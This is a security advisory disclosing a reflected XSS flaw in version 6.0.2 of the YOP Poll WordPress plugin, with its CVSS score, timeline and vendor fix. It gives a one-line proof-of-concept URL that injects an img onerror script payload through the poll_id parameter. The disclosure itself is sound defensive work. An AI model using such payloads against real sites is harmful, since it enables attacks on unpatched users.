* Vulnerability: XSS * Affected Software: [YOP Poll](https://wordpress.org/plugins/yop-poll/) * Affected Version: 6.0.2 * Patched Version: 6.0.3 * CVE: not requested * Risk: Medium * Vendor Contacted: 10/25/2018 * Vendor Fix: 11/26/2018 * Public Disclosure: 02/05/2019 * Credit: Tim Coen ##### CVSS 6.1 Medium [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) ##### Overview The YOP poll WordPress plugin is vulnerable to reflected XSS as it echoes the poll_id parameter without proper encoding. ##### Proof of Concept http://192.168.0.103/wordpress/wp-admin/admin.php?page=yop-polls&action=view-votes&poll_id=1'"><img+src%3Dx+onerror%3Dalert(1)> ##### Timeline - 10/25/2018 Requested email address via contact form - 10/25/2018 Vendor responds, advisory sent - 11/26/2018 Vendor releases fix - 02/05/2019 Confirmed fix & Disclosure ##### Details & Full Advisory URL https://security-consulting.icu/blog/2019/02/wordpress-yop-poll-xss/ -- PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89